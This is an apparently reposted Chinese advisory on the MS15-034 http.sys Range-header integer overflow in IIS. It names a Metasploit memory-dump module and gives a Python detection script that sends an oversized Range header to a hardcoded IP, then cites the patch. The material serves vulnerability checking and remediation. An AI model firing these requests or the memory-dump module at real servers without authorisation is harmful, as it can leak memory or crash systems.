http.sys远程代码注入漏洞

来源:互联网 发布:c语言闰年流程图 编辑:程序博客网 时间:2024/06/11 04:54

http.sys是一个位于Win2003和WinXP SP2中的操作系统核心组件,能够让任何应用程序通过它提供的接口,以http协议进行信息通讯。

主要存在于在Windows+IIS环境下,影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统。

检测方法1:
msf下使用auxiliary/scanner/http/ms15_034_http_sys_memory_dump能够正常读取到内存数据即可确认包含该漏洞
检测方法2:

通过http返回信息包含416,Requested Range Not Satisfiable即可确认存在漏洞

检测脚本:

#此脚本仅适用于检测IIS服务器是否存在Http.sys 处理 Range 整数溢出漏洞,不适用于攻击使用。

import socket
import random

ipAddr = "10.66.150.253" #添加目标ip
hexAllFfff = "18446744073709551615"

req1 = "GET / HTTP/1.0\r\n\r\n"
req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n" #主要测试代码

print "[*] Audit Started"
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80)) #如果web服务器开启非80端口,可在此处修改为正确端口
client_socket.send(req1)
boringResp = client_socket.recv(1024)

if "Microsoft" not in boringResp:    #检测当前web服务是否为IIS web服务器
    print "[*] Not IIS"
    exit(0)
client_socket.close()
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req)
goodResp = client_socket.recv(1024)
if "Requested Range Not Satisfiable" in goodResp:
#通过查看服务器返回判断是否存在该漏洞,根据打印出的结果判断:
#Looks VULN为存在该漏洞,Looks Patched为已打补丁,其他情况会返回Unexpected response
    print "[!!] Looks VULN"
elif "The request has an invalid header name" in goodResp:
    print "[*] Looks Patched"
else:
    print "[*] Unexpected response, cannot discern patch status"

修复方案:

更新补丁KB3042553。